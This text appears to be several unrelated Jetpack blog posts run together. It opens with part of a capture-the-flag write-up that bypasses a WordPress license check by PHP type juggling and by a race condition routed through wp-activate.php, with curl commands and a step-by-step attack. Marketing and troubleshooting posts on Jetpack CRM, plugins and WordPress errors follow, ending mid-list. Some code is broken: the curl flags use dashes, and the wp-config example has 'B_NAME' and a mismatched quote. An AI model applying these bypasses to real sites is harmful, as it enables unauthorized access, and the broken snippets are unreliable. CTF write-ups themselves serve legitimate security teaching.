The challenge presented three endpoints, even though only two would be necessary to get the flag:

• /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
• /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
• /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)

The generate-license endpoint populated a session-specific license key, which would then be validated using the access-flag-3 endpoint’s hackismet_validate_license permission callback. Unfortunately, as you never got to see what the actual generated license key was, you had to find a way to bypass the license check altogether in order to get the flag.

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

One way to do that was to have $request['key'] contain a boolean value of “true”, and $request['rounds'] a value of zero. By doing this, you ensured that $request['key'] wasn’t modified by multiple calls to str_rot13, and since license validation is done using PHP’s loose comparison operator, the comparison would always return true.

However, you couldn’t do that with regular GET or POST parameters, as these only ever contain strings or arrays. Fortunately, the WordPress REST API allows you to send a JSON request body, even on endpoints that are only registered to use the GET HTTP method. As a result, sending the following requests would give you the challenge’s flag:

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

Challenge #4 – License to CTF: Part 2 (500 points)

Relevant Code Snippets

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

How Could It Be Solved?

This challenge presented three endpoints (and actually required using all three to be solved!):

• /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
• /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
• /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)

As you can see, those are the very same endpoints as the last challenge, the only difference now is that we ensure that $request['key'] is a string to prevent the type-juggling issue we mentioned in the other challenge.

The self-explaining delete-license route did exactly what you’d expect it to: remove the current license from the database. Similarly, access-flag-4 simply returned the flag, assuming its permission callback, hackismet_validate_license, allowed it to happen.

As you can see from the hackismet_validate_license code snippet, the permission callback called get_option twice, once to validate a license key is set and another to actually compare it to the one we’re providing. Both calls are separated by a str_rot13 loop that runs for as many rounds as defined in the $request['rounds'] route variable.

This made it possible for a race condition to occur by sending a big number in the rounds variable to delay the request long enough for us to hit the /hackismet/delete-license endpoint, effectively deleting the license before it’s compared against our own. 

The fact that get_option() defaults to returning a boolean false if it doesn’t find a given option is the cherry on the cake. Since the function never checks whether $request['key'] is empty, and false == ““ when loosely comparing different types in PHP, this would allow us to completely bypass the security checks. 

But this is just in theory!

Caching to the rescue!

As can be seen from the function’s source code, get_option caches the result of whatever option it is retrieving, so any further request for that option on the same HTTP request won’t send additional separate SQL queries. This alone prevents our race condition attack from working. Even if another request deleted the license option while we’re looping through all those str_rot13 calls, get_option wouldn’t know due to the result being cached for that request already!

Again, looking at the source code, it looks like the only way to prevent that from happening is if wp_installing returns… true? As it turns out, we can make it do that.

Is WordPress installed yet?

The wp_installing function relies on the WP_INSTALLING constant to determine if WordPress is currently installing, or updating itself. Searching for places where this constant is defined leads to very few results, the most interesting in our case being wp-activate.php:

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

What makes it particularly fitting for our purpose here, is that one of the first things it does is run require() on wp-blog-header.php.

Long story short: the code that actually launches the REST API server is hooked to the parse_request action, so it will only be available when WordPress internally sets up the query variables necessary for The Loop to do its work. 

This only occurs if the wp() function is called like it is in wp-blog-header.php.

Since, internally, WordPress uses the rest_route parameter to know which route to load, adding that parameter to the URL is all it takes to launch the API while visiting /wp-activate.php.

As such, the final attack looked something like this:

1. Send a request to /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds where $rounds is a pretty big number to make this request run long enough to let you do step #2.
2. Send a request to /wp-json/hackismet/delete-license/$session_id while your first request is blocked at the str_rot13 loop.
3. Wait for your first request to finish, and get your flag.

Conclusion

We hope you had as much fun participating in this first edition of the Jetpack Capture The Flag competition as we had running it. We look forward to doing this again sometime in the future. To learn more about CTF, checkout CTF101.org

Credits

Challenge designer: Marc Montpas

Special thanks to Harald Eilertsen for spreading the word in person at WordCamp Europe, and the Jetpack Scan team for feedback, help, and corrections.

Since its inception six years ago, Jetpack CRM has been a trusted tool for WordPress-based businesses, helping them better serve their audience and streamline their operations. And we’re always focused on making our products even more effective, shifting to meet the needs of the companies that we work with on a daily basis.

So to celebrate our sixth birthday, we’re rolling out Jetpack CRM 5.0, a version that’s even bigger and better!

Online merchants, this one’s all about you. WooCommerce connectivity is now included in Jetpack CRM for free rather than being a separate, premium extension. And integrating your online store with Jetpack CRM is easier than ever.

This means that you can harness the power of our WordPress-driven Customer Relationship Manager tool (CRM) to increase conversions, provide better customer support, and make your team more efficient at no cost to your business.  

How a CRM improves store performance 

The core focus of a CRM is spelled out in its name: “customer relationship.” And while CRM tools are an incredibly powerful way to improve relationships with shoppers, they’re also more than that. Let’s take a look at three ways that a CRM can grow your store.

New to CRMs? Learn about everything a CRM can offer your business.

1. It can increase your CLV 

CLV (customer lifetime value) measures the amount of money a business earns from the average customer over the entirety of their relationship. Increasing your CLV is important because it’s both an indication of profitability and retention. And since it’s 25 times more difficult to convert a new customer than retaining ones you already have, keeping existing buyers happy is an excellent goal.

How can a CRM help with this? Through engaging with your customers at key touchpoints and delighting them along their journey. Here are a few ways that a CRM can increase your CLV:

• Email personalization. Personalized emails generate six times more revenue than those that aren’t personalized. And a CRM can help you send emails that are customized beyond just the name in the subject line. Delight shoppers with a special birthday message, recommend products based on previous purchases, and send seasonal ideas based on where they live.
• Email segmentation. Segmented email campaigns consistently have higher open rates (14.31 percent higher, in fact!) than non-segmented campaigns. And a good CRM can help you collect valuable data to build hyper-focused customer segments and tailor email messages specifically to them. Send a coupon to people who haven’t purchased in a while. Announce a sale on dairy-free products just to subscribers who have an allergy. Send a discount offer just to shoppers who you know are motivated by price. Not only does segmentation keep customers happy, it also helps you save money on marketing by delivering more targeted results.
• Customer data. Information is everything when it comes to increasing CLV. The more you know about your audience, the better you can deliver marketing messages, new products, and customer service initiatives that meet their needs. And a CRM tracks every single piece of data about a customer, including purchases, social media interactions, conversations, marketing engagements, and more.

Ultimately, a CRM helps you better understand your customers so you can better serve them. And happy customers come back time and time again.

2. It helps you provide top-notch support 

Offering excellent support to potential and existing customers is a critical part of running an online store. Answering questions, providing guidance, and troubleshooting problems keeps people happy and helps you minimize returns.

And this is where a CRM shines.

When a team member is helping a customer, they can view tons of information about that specific person directly in the CRM. At a glance, they’ll know what that person purchased and when, who they spoke to previously on your team, whether or not they left a review, and any notes that are on their account. This helps shoppers skip all the frustrating back and forth so they get their problem solved and questions answered faster than ever.

A CRM also helps streamline the customer support process. With many tools, like Jetpack CRM, team members can send emails and make calls directly from the dashboard. You can also assign tasks, like follow ups and support responses, to specific people, so your customers will never fall by the wayside.

3. It improves digital collaboration

eCommerce stores are made up of a bunch of moving parts. It can be hard to keep track of it all, especially when you have multiple team members. 

But a CRM serves as a central hub for your business. Everyone can access the same customer data and performance stats, no matter where they’re located. And creating tasks and adding reminders means that you can skip the confusing email chains and know that everyone is on the same page, even when working across time zones.

And because a CRM collects customer data, including past communications, team members can stay up to date on each individual shopper. This helps you avoid situations with contradictory information, or letting customers slip through the cracks.

So it’s no surprise that using a CRM increases sales, improves performance, and enhances collaboration. 

Why Jetpack CRM is the go-to choice for WordPress

There are a variety of CRMs available, and choosing one can be tricky. Some are unnecessarily complicated. Some are expensive and provide functionality you don’t need. Others don’t integrate with the tools you use. 

But Jetpack CRM provides all the features you need, without any of the frustration. Let’s take a look at why Jetpack is the best CRM for WordPress:

• It’s easy to use. When our customers were asked what they love the most about Jetpack CRM, the top answer was that it’s easy to use. And that’s our goal! We’ve created a tool that provides everything you need, while still being simple and user-friendly. 
• It’s flexible. Jetpack CRM is completely modular, which means that you can create the perfect solution for you. Mix and match the features you need without having to juggle (or pay for!) the ones you don’t.
• It was made specifically for WordPress. Many other CRMs work with a variety of platforms, which spreads out their effectiveness. Not Jetpack CRM! Our tool was created just for WordPress, by the team behind WordPress.com. We know your needs better than anyone. And the best part? You can manage everything in one central location — your website, your eCommerce store, and your CRM. No more logging in and out!
• It was designed with WooCommerce in mind. From the very beginning, Jetpack CRM was created for entrepreneurs, specifically ones using WooCommerce. It works seamlessly with the plugin, syncing sales and other customer data automatically. And if you appreciate being able to customize your WooCommerce store with extensions, you’ll love how easy it is to do the same with Jetpack CRM. 
• It integrates with additional tools. Beyond WordPress and WooCommerce, Jetpack integrates with tools like Twilio, Mailchimp, Awesome Support, ConvertKit, and Optin Monster. Plus, you can trust that it works with major WordPress plugins like Gravity Forms and Contact Form 7.
• It makes it easy to scale. Unlike other CRMs, you aren’t charged based on the number of contacts you have or your sales volume. With our modular, flat-rate pricing, you know exactly what to expect each month and can grow your business as large as you want without paying extra for your success.
• It’s priced competitively. The majority of Jetpack CRM’s features are included in the free plan, making it accessible for any and all businesses. If you do want extra tools, you can either upgrade to a premium plan or purchase the extensions you need separately. And don’t worry — we won’t nickel and dime you for every little thing! Our plans and extensions are priced competitively to make them available to everyone.

Grow your store with Jetpack CRM

Jetpack CRM was designed with WordPress and WooCommerce site owners in mind. Our features equip merchants with the tools they need to grow their store, better serve their customers, and streamline their operations. And with our latest update, you can benefit from all of that at absolutely no cost!

Ready to grow your store? Get started with Jetpack CRM for free.

It’s an exciting month for Jetpack! We released new individual Jetpack plugins for our most popular features so that you can build your own Jetpack based on your specific needs. We’re also shipping several under-the-hood improvements and bug fixes to make Jetpack work even better for you and your website.

Introducing Jetpack individual plugins

Jetpack’s individual plugins will give you the flexibility to use specific components of Jetpack as part of your own, custom-built “tech stack.”

• Jetpack Backup – Back up your site in real-time on Automattic’s secure cloud infrastructure.
• Jetpack Protect – Scan for vulnerabilities in WordPress core, themes, and plugins for free.
• Jetpack Boost – Improve your site speed and SEO for free in just a few clicks.
• Jetpack Social – Automatically share new posts and products on your social channels for free.
• Jetpack Search – Help your visitors find exactly what they’re looking for, faster.
• Jetpack CRM – Streamline communication, provide better customer service, and grow sales.

With Jetpack 11.0, we’ve improved the connection between the Jetpack plugin and these new individual plugins. From now on, it’s possible to deactivate Jetpack while staying connected to an individual plugin.

Compatibility and performance improvements

Jetpack 11 also includes:

• Improved performance of the Latest Instagram Posts Block with an added lazy load option
• Backend improvements in Payments Block to improve speed
• Additional Google Fonts to provide better flexibility
• VideoPress seekbar automatically changes color for a better video-watching experience

Check out our mobile app

The Jetpack mobile app brings essential Jetpack features to your Android or iOS device — it’s perfect for that moment you’re away from your desk and want to:

• Check your site stats
• Be notified when your site is down
• Review the activity log to find out who made a recent change
• Remove malware from your site
• Restore your site to a past state so you can get back online

Want to build something great?

Jetpack is more than the sum of its code — it is the collective work of an amazing group of designers, product experts, Happiness Engineers, and code wranglers at Automattic.

Does distributed work sound interesting to you? Listen to our CEO Matt Mullenweg in an incredible wide-ranging interview on How I Built This with Guy Raz.

A big thank you to everyone who contributed to this release:

Adnan Haque, Adrian Moldovan, Alisa Owens, André Kallehauge, Anna McPhee, Antonio Sejas, Benedict Singer, Bogdan Ungureanu, Brad Jorsch, Brandon Kraft, Chris R, Damián Suárez, Daniel Post, Derek Smart, Diogo Alves, Dion Hulse, Dusty Reagan, Enej Bajgoric, Eric Binnion, Filipe Varela, Foteini Giannaropoulou, Igor Zinovyev, Ivan Ottinger, Jacopo Tomasone, Jared, Jason Moon, Jasper Kang, Jeremy Herve, John Caruso, Karen Attfield, Karthik Bhat, Kev, Kolja Zuelsdorf, Konstantin Obenland, Manzoor Wani, Marcelo Serpa, Marin Atanasov, Matthew Reishus, Miguel Torres, Miguel Xavier Penha Neto, Mike Stott, Nate Weller, Panos Kountanis, Paul Bunkham, Paulo Cruz, Pierre, Renato Augusto Gama dos Santos, Richard Ortiz, Samiff, Siddarthan Sarumathi Pandian, Steve D, Vishnu Gopal, Wojtek Naruniec, bindlegirl, brookewp, daledupreez, dkmyta, gavande1, leogermani, lukaszwilczakwilnet, mkm119, vykes-mac

For more than ten years, Jetpack has been regarded as the ultimate all-in-one toolkit for WordPress sites. With more than five million active installations, Jetpack makes sites faster and safer, and provides more traffic, all from a single plugin. It eliminates the need to search for dozens of different plugins, vet their quality, install them, make sure they don’t conflict, and remember to update them.

But we also appreciate that the WordPress community is incredibly diverse and that everyone’s needs are unique. Many developers and site owners asked for the flexibility to use specific components of Jetpack as part of their own, custom-built “tech stack” of plugins. We listened.

“The WordPress community is passionate about being able to control exactly what is installed on their sites,” says Jetpack CEO James Grierson. “The new Jetpack plugins will provide that flexibility, as well as enhance the overall WordPress experience.”

Introducing Jetpack individual plugins

For the first time, you can customize not only which Jetpack features are loaded onto your site, but also which individual plugin you want to install. And if you use multiple Jetpack features, you can add them seamlessly within a single, familiar interface. Install only the features you need while minimizing plugin overhead: the best of both worlds.

We’ve launched six individual plugins for our most popular features, and will continue to add more throughout 2022.

• Jetpack Backup
  • Back up your site in real-time on Automattic’s secure cloud infrastructure.
• Jetpack Protect
  • Scan for vulnerabilities in WordPress core, themes, and plugins for free.
• Jetpack Boost
  • Improve your site speed and SEO for free in just a few clicks.
• Jetpack Social
  • Automatically share new posts and products on your social channels for free.
• Jetpack Search
  • Help your visitors find exactly what they’re looking for, faster.
• Jetpack CRM
  • Streamline communication, provide better customer service, and grow sales.

Is the original Jetpack plugin changing? 

For the millions of people that enjoy Jetpack as an all-in-one plugin, the experience is not changing. You will still be able to install all of our features at once, in a single, uniform, interface. Over time, the products that exist as individual plugins may be extracted from the original one, but no matter which plugin you start with, the experience of adding features will be seamless.

A new Jetpack

We’ve changed a lot over the years. Besides making Jetpack more modular, we’re also building new functionality for agencies and site builders to streamline your operations.

No matter what type of site you have, Jetpack is customizable to make your site safer and faster, while bringing you more traffic. Check out the new Jetpack today.

With over 30 million active properties, WordPress is the most commonly-used platform for building websites, and it’s not hard to see why. It’s open-source, meaning anyone can contribute or expand upon it — and thousands do! Plus, there are seemingly endless plugins that make adding even complex functionality a simple process. Using it is so straightforward that many people can launch their own site without any professional help. 

But what happens when things become a little less easy? When things don’t operate smoothly, advertising revenue can plummet, customers can struggle to access important information, eCommerce sales can come to a halt, and more. 

And there are also long-term impacts of a broken site, like a drop in search engine rankings or loss of reputation and trust from visitors and customers. 

Because of WordPress’ wide network of passionate contributors, the core of the platform — as well as popular plugins — are updated regularly to protect against security threats and keep up with the latest technologies. But things can still go wrong with individual sites from time to time. 

Let’s take a look at some of the most common WordPress problems and learn how to fix them so you can keep your website online and error free!

Five common WordPress errors and their solutions

1. Your connection is not private

Not too long ago, the internet was a lot less secure. It was relatively easy for bad actors to intercept information sent between visitors and websites for nefarious purposes. To combat this widespread issue, some browsers now require sites to use Secure Sockets Layer (SSL) certificates to encrypt data. 

When browsers load a website without an SSL certificate, they’ll display a message that says, “Your connection is not private.” While visitors can choose to proceed past this message, they’re unlikely to do so. 

This error could also appear if you have an SSL certificate that’s not set up properly. For example, if you’re embedding content from a third party or if you miss updating some of your URLs (like media files) to https. This is called “mixed content” and can still display a warning message to visitors.

Thankfully, the fix is usually pretty easy. You simply need to get an SSL certificate — available from most hosts, as well as other providers — then configure it properly to avoid mixed content warnings.

Experiencing this issue? We’ve got it covered. Get detailed instructions for solving the “Your connection is not private” error on WordPress. Plus, you’ll learn how to get a free SSL certificate. 

2. This account has been suspended

Unfortunately, not all error messages have a clear cause and solution. That’s the case with the “This account has been suspended” error. 

This message is usually displayed when your web host has disabled your account, but they can do so for any number of reasons. From Terms of Service (TOS) violations to an overdue balance on your account, the solution here usually involves contacting your host to understand and rectify the issue.

It may not be the most fun hour you’ll spend, but you can typically solve this problem pretty quickly.

Sometimes, however, the cause of this error message is more nefarious, and this requires considerably more attention on your part. If your website has been hacked or otherwise compromised, your host may have shut it down to protect the other sites on your shared server, along with their own infrastructure. 

When a WordPress site becomes compromised, you’ll need to thoroughly review your files and database for malicious code. It may be time to use some heavy-duty malware scanning tools for WordPress or employ a professional team to detect and eliminate the issue.

If you’re encountering this, time’s not on your side. Act fast to restore your site and your relationship with your host. 

Not sure where to start? We do. Check out our article about solving the “This account has been suspended” error in WordPress. 

3. Error establishing database connection

Some error messages are more common than others, and the Error Establishing Database Connection is one that many web developers are familiar with. The message itself is straightforward and points to the problem at hand: the WordPress website can’t connect to its database and therefore can’t function properly.

While there are several reasons you might encounter this error, the most common one is a problem with the WordPress configuration file. The first step in addressing this is to gather your database information. If you don’t know how to find this, your hosting provider’s support team can help.

Then, check your WordPress configuration file, called wp-config.php. You can do this through your host’s cPanel or by using file transfer protocol (FTP). Once you find the file, look for lines like the following:

define('B_NAME', 'YourDatabaseName');
define('DB_USER', 'YourDatabaseUser');
define('DB_PASSWORD’, 'YourDatabasePassword');
define('DB_HOST', 'YourDatabaseHost');

Confirm that all of that information matches what you gathered from your host. If any of it’s incorrect, update it to the correct values, taking care to ensure that the single quotation marks and parentheses remain in the right order, as they are above.

For more details about updating the wp-config.php file, along with other potential causes of this problem, review our full guide on how to fix the “Error establishing database connection” issue in WordPress. 

4. A website security warning

A security warning on your site can really make your heart sink. This can vary a bit, but typically looks like a bright red page with alarming icons and a message that your site’s not safe. If this happens, it can quickly tank your traffic, damage your reputation, and even have long-term consequences on search engine rankings.

This one is particularly troublesome because the cause (and solution) is not always clear. Worse still, your website and its content may not even have anything to do with it.

This warning appears when your website has landed on Google’s blocklist. As stated in our article on how to remove your WordPress site from Google’s blocklist: 

“Google’s blocklist (also called Google Safe Browsing) is a database of all the websites that Google and other search engines think are harmful or dangerous. It helps protect more than four billion devices by notifying searchers about malicious content and webmasters about hacked sites. This impacts Google Search, Google Chrome, Android devices, Gmail, and Google Ads.” 

Google’s reputation is tied, in part, to a safe experience for its users. If someone clicks on a search result or visits a site that leads to a security breach, it could reflect poorly on them. So Google invests heavily in protecting users from content that could harm their computers or steal their personal information.

Through no real fault of your own, your WordPress site can be compromised by a third party and wind up on Google’s bad side. There are a variety of causes, but your site will usually be blocklisted if: 

1. Malware is detected 
2. An advertisement is directing to a malicious site 
3. There are unsafe plugins
4. The site uses “black hat” SEO techniques
5. There’s plagiarized or copyrighted content 

Fixing this type of error involves identifying and removing malware or other offending content and resubmitting your site to Google. 

Experiencing this issue? Act fast. Read our full guide on removing your WordPress site from Google’s Blocklist, including step-by-step instructions for removing malware and submitting your site to Google.

5. The “Briefly Unavailable for Scheduled Maintenance. Check Back in a Minute” error

Let’s say that you visit your website and receive a notice that says “Briefly unavailable for scheduled maintenance. Check back in a minute.” Or maybe you see a customized message like, “Under construction — we’ll be back soon!” This is an indication that your site is in maintenance mode. 

Site owners can enable maintenance mode manually, but this message also briefly appears when a plugin or other function is updating on the site. This typically lasts for a few seconds. 

The problem occurs when a site gets stuck in maintenance mode. Usually, WordPress automatically activates and deactivates maintenance mode by placing and removing a .maintenance file in the root directory. But if an interruption occurs during the update process, the file may not be removed. 

To solve this, you simply need to restore a backup or access your site’s root directory and manually remove the .maintenance file. 

Get step-by-step instructions for solving this issue and tips to avoid it in the future: How to fix the “Briefly unavailable for scheduled maintenance. Check back in a minute.” issue in WordPress. 

Backups: a WordPress site’s best friend

No matter the issue or error, an up-to-date backup of your WordPress site is like a giant “undo” button. We all wish we had an undo button in real life, but it’s a reality for WordPress site owners.

Backups can save you countless hours of troubleshooting issues, reading support documentation, and tracking down expensive developers. 

Built by the people behind WordPress.com, Jetpack Backup works seamlessly in real-time, so that a copy of your site is saved every time anything is changed. Plus, it comes with an activity log so you can identify exactly when something went wrong, learn what caused it, and restore your site in full to the point before the error occurred. 

It doesn’t require complicated code or messing with files — you can bring your site back to life, even if it’s completely down, with just a single click. And with the Jetpack mobile app, you can restore on the go, at any time of day or night. 

Learn more about WordPress backups with Jetpack. 

If you aren’t familiar with it, encountering the “Briefly unavailable for scheduled maintenance. Check back in a minute” error could cause your heart rate to spike. 

This message is used every time a WordPress site is running updates, and it’s only intended to be displayed temporarily. Unfortunately, sometimes things go wrong during an update, leaving a site stuck in maintenance mode. Luckily, there’s an easy fix to get your site back up and running.

In this article, we’ll talk about what WordPress maintenance mode is and how it works. We’ll also explain why sites can get stuck in maintenance mode. Then, we’ll show you how to fix this issue and prevent it from happening again in the future. 

What is WordPress maintenance mode?

WordPress maintenance mode is not exactly an error. Any time you update WordPress core, your plugins, or your themes, there’s momentary downtime on your site while the updates take place.

Maintenance mode is only intended to be in effect while your site is being updated. Normally this just takes a few seconds. 

While the updates are taking place, your site will display a message that reads: “Briefly unavailable for scheduled maintenance. Check back in a minute.” This informs anyone who tries to access your site that it’s temporarily unavailable, but will be back very shortly.

What causes WordPress to get stuck in maintenance mode?

Whenever you carry out updates on your site, WordPress will automatically activate maintenance mode at the start of the process and then deactivate it when it’s ready. It does this by adding a .maintenance file to your site’s root directory, and then removing it after the updates have been completed.

Getting stuck in maintenance mode means that the .maintenance file was not removed after the update. When this happens, the message “Briefly unavailable for scheduled maintenance. Check back in a minute” will remain. As a result, visitors won’t be able to view or access your content until you’ve resolved the issue.

Here are a few things that can cause your site to get stuck in maintenance mode:

• The browser was closed in the middle of an update, interrupting the process.
• The update failed to complete due to a server interruption or delay.
• You tried to update multiple plugins at the same time, which may have caused conflicts or server timeouts. 
• Bad coding in a new file or update may be preventing WordPress from removing the .maintenance file. 

Once an update begins, anything that interferes with its completion could prevent your site from exiting maintenance mode on its own. When this happens, you’ll have to remove your site from this mode manually.

How to fix the “briefly unavailable for scheduled maintenance” issue in WordPress

Getting your site out of maintenance mode is fairly easy. All you need to do is find the .maintenance file and delete it from your site’s directory. 

To do this, you’ll need to access your site’s files via a File Transfer Protocol (FTP) client like FileZilla. If you’re using an FTP client for the first time, you’ll need to enter your credentials (including your username and server address) to connect to your site. You can find this information in your hosting account. 

Alternatively, you can use the cPanel or file manager in your hosting account to access your site’s back end. If you’re using the file manager, you may be able to search for the .maintenance file. Simply type in “maintenance” and it should show up. If not, you’ll need to navigate to the public folder and locate the file.

Likewise, if you’re using FileZilla, you’ll need to open the public folder and look for your .maintenance file.

Once you’ve located the file, you can right-click on it and delete it.

Now, the “Briefly unavailable for scheduled maintenance” message should be gone. If you’re unable to locate or delete this file manually, you may want to restore a backup of your website from before the issue occurred. If you use Jetpack Backup, the plugin enables you to easily restore an older version of your site.

Now you can reattempt your updates more carefully, and hopefully your site will complete them without a hitch. Next, we’ll look at some tips you can use to reduce the chances of getting stuck in maintenance mode in the future. 

How to avoid the maintenance mode error in the future

Now that you know how to fix the maintenance mode error in WordPress, it’s time to look at some good habits you can adopt to prevent it from happening again. Remember that when your site gets stuck in maintenance mode, your visitors are unable to reach you and view your content. 

Avoiding the problem altogether reduces the possibility of extended downtime for your site. Let’s look at some effective precautions. 

1. Be patient with updates

While it’s tempting to update all of your plugins at once, this increases the chance of a conflict or delay in communication with the server, which could interrupt the process. If this occurs, updates may not complete properly, and WordPress will fail to remove the .maintenance file from your site’s directory.

Therefore, we recommend that you update one plugin at a time. You’ll also want to wait for each update to complete before starting the next one. 

Additionally, you’ll want to make sure that all updates have finished before exiting your site. If you close the tab while an update is still in progress, it may halt it before it finishes, leaving your site stuck in maintenance mode.

2. Check for compatibility

When adding new themes or plugins to your WordPress website, it’s always a good idea to check for compatibility. Some tools may not have been updated in a while, so they might not be compatible with newer versions of WordPress.

You can find this information on the plugin’s page in WordPress. For instance, these are the details for Jetpack:

If you’re running a version of WordPress outside of this range, it could result in unexpected behavior from the plugin. This includes failed updates and conflicts with other plugins. 

To check what version of WordPress you’re currently running, navigate to your dashboard and click on Updates:

To be extra safe, you can use a staging site to test new plugins and updates before they go live. This way, you can catch any issues before your live site goes into maintenance mode.

3. Consider changing your web host

If your updates frequently time out or you regularly encounter other server-related problems, you may want to consider changing or upgrading your hosting service. If you’re on a basic plan with limited resources, your provider may no longer be able to meet your site’s demands.

A poor hosting service may cause updates to take longer than necessary. It can also increase the chance of timeouts, which can interrupt or corrupt an update.

Therefore, you might want to switch to a more advanced hosting solution. This is not only important for handling large volumes of traffic, but it can also provide a stable connection while you make updates and other changes. 

How to change the WordPress maintenance mode template

While you never want your website to get stuck in maintenance mode, there may be times when you want to display the “Briefly unavailable for scheduled maintenance” message for a longer period. For instance, you might decide to revamp your website or make some significant changes to its design. 

If that’s the case, consider customizing the maintenance mode screen to make it more visually appealing. For instance, change the default message to something more fun and interesting. You could also add a contact form so that visitors can still reach out to you while you’re carrying out site maintenance.

The easiest way to customize your maintenance mode page is to use a plugin. Rather than coding a page from scratch, you can use a page-building tool like SeedProd.

Once you’ve downloaded and activated SeedProd on your site, click on the Create Your First Page button to get started.

On the Pages screen, you’ll see an option to set up a maintenance mode page. Go ahead and click on it.

Next, you’ll see a selection of templates for your maintenance mode page.

Once you’ve chosen a template, you can start customizing it to your liking. All you have to do is select an element, like an image or text box, and use the settings on the left-hand side to make changes to it.

For instance, you can change the text and images to make your maintenance mode page more entertaining and informative. You could even add links to redirect visitors to your social media pages. Remember to save your changes when you’re ready. 

How to turn on maintenance mode

Once you’ve created your custom maintenance mode page, you can go ahead and activate it. To do this, go back to the SeedProd page in your WordPress dashboard, and set Maintenance Mode to Active.

Your new maintenance mode page will appear in place of the default “Briefly unavailable for scheduled maintenance” message. You can visit your site to see how it looks. If you’ve added links to your page, you might want to test them to make sure they work.

Once you’ve finished making updates to your site, you can return to SeedProd in your WordPress dashboard and set the switch for maintenance mode to Inactive. Visitors will now be able to access your content again. 

You might also consider customizing other common error pages, like the 404 page.

It’s important to note that SeedProd creates a PHP file to put your site into maintenance mode, rather than creating the .maintenance file in the root directory. As a result, if your site gets stuck in maintenance mode, you’ll need to deactivate the plugin to resolve the issue.

If you can’t access your dashboard, you’ll need to connect to your site via an FTP client to disable the plugin. Once you’re inside the root directory, go to wp-content → plugins, and locate the folder for SeedProd. It’s called coming-soon.

Then, rename the folder to something else (e.g., coming-soon_disable). This will automatically disable the plugin, and you should be able to access your site.

Everyone likes an easy fix

Having your site unavailable for any period of time can be detrimental to your goals. Luckily, if your site gets stuck in maintenance mode, there’s a quick way to get it up and running again. All you have to do is locate the .maintenance file in your website’s root directory and delete it, or restore a backup of your WordPress site.

To avoid this problem in the future, you’ll want to make sure that you carry out plugin updates one at a time. You may need to upgrade to a more powerful hosting solution, as slow servers can cause update interruptions and timeouts.

Additionally, consider customizing your maintenance mode page. You can replace the default “Briefly unavailable for scheduled maintenance” message with an interesting graphic, and include contact information so that users can still reach out to you while you’re working on your site. 

Running a business involves managing a lot of moving parts, whether you sell services or products. And as you grow, tasks like nurturing leads, coordinating team members, sending quotes, and chasing down invoice payments can become time-consuming and prone to mistakes. 

And that’s exactly where a CRM can save the day.

CRM stands for “Customer Relationship Management,” which is a very fitting name. It helps you organize all of your customer and client information, streamline processes like follow-ups and invoicing, and keep all of your team members in the loop. Ultimately, a CRM means happier clients, an informed team, and more conversions.

There are some great CRMs available that integrate with WordPress, and it’s important that you consider which one is the right fit for your specific business. So let’s take a look at some of the best WordPress CRM plugins and compare them based on their features, pros, cons, ease of use, and pricing.

A review of the best WordPress CRM plugins

When choosing a CRM plugin for WordPress, you’ll want to think through the needs of your business. What areas could be streamlined? How many team members need to use the tool? What’s your current budget? The following comparison can serve as a guide to choosing the right one for you.

1. Jetpack CRM

This feature-rich tool is owned and supported by Automattic, the team behind WordPress.com. That means that it was built specifically for WordPress — you don’t have to worry about hacking together an integration, or communicating with a support team who doesn’t understand your site. It also works seamlessly with WooCommerce, making it an excellent options for online stores.

Contacts are at the heart of Jetpack CRM. You can view incredibly detailed information about each and every contact that you have, and log every interaction and touchpoint. Keep track of everything from phone calls and emails to transactions and social media posts. 

And Jetpack CRM works for absolutely any type or size of business because it’s completely modular — you can build a custom package based on the exact features that you need. This ultimately saves you money and keeps you from being overwhelmed or bogged down by a bunch of tools you don’t use.

The dashboard is powerful, and gives you all critical information at a glance: contact overviews, sales funnel summaries, and revenue snapshots. You can use this data to track your progress and increase the effectiveness of your business.

Key features of Jetpack CRM:

• The ability to send quotes and invoices to clients
• File storage for each contact, such as quotes and consultation documents
• A simple dashboard that compiles all key business information in one place
• The ability to manage multiple contacts for the companies you do business with
• One-click client calls directly from your dashboard
• Branded templates for proposals, quotes, and invoices
• Client portals where customers can pay invoices, complete tasks (such as adding proof of identity), and access important files
• Segmentation based on everything from who attended your last webinar to who enjoys Mexican food
• Import tools to add contacts from outside the CRM
• Integrations with tools like WooCommerce (free), Gravity Forms, Mailchimp, Google Contacts, PayPal, and MemberMouse
• Email sending capabilities (including transactional emails) from directly in the dashboard
• The ability to assign tasks to contacts, along with automatic reminders
• Unlimited team members, along with user roles and permissions for each member

Pros of Jetpack CRM:

• Since it was built for WordPress and is supported by Automattic, it integrates seamlessly with your existing WordPress site and WooCommerce. You’ll also get support from people who truly understand WordPress and can help you troubleshoot from all angles.
